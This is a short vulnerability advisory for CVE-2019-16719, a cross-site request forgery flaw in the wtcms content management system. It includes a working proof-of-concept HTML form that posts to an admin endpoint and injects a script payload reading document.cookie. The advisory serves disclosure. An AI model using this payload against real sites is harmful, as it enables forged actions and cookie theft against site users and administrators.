#VU21308 Cross-site request forgery in wtcms - CVE-2019-16719
Published: September 24, 2019
wtcms
taosir
Description
The vulnerability allows a remote attacker to perform cross-site request forgery attacks.
The vulnerability exists due to insufficient validation of the HTTP request origin in "index.php?g=admin&m=index&a=index". A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website.
PoC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://[host]/wtcms-master/index.php?g=&m=admin_page&a=index" method="POST">
<input type="hidden" name="start_time" value="" />
<input type="hidden" name="end_time" value="" />
<input type="hidden" name="keyword" value=""><svg onload=alert(document.cookie)><a src="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>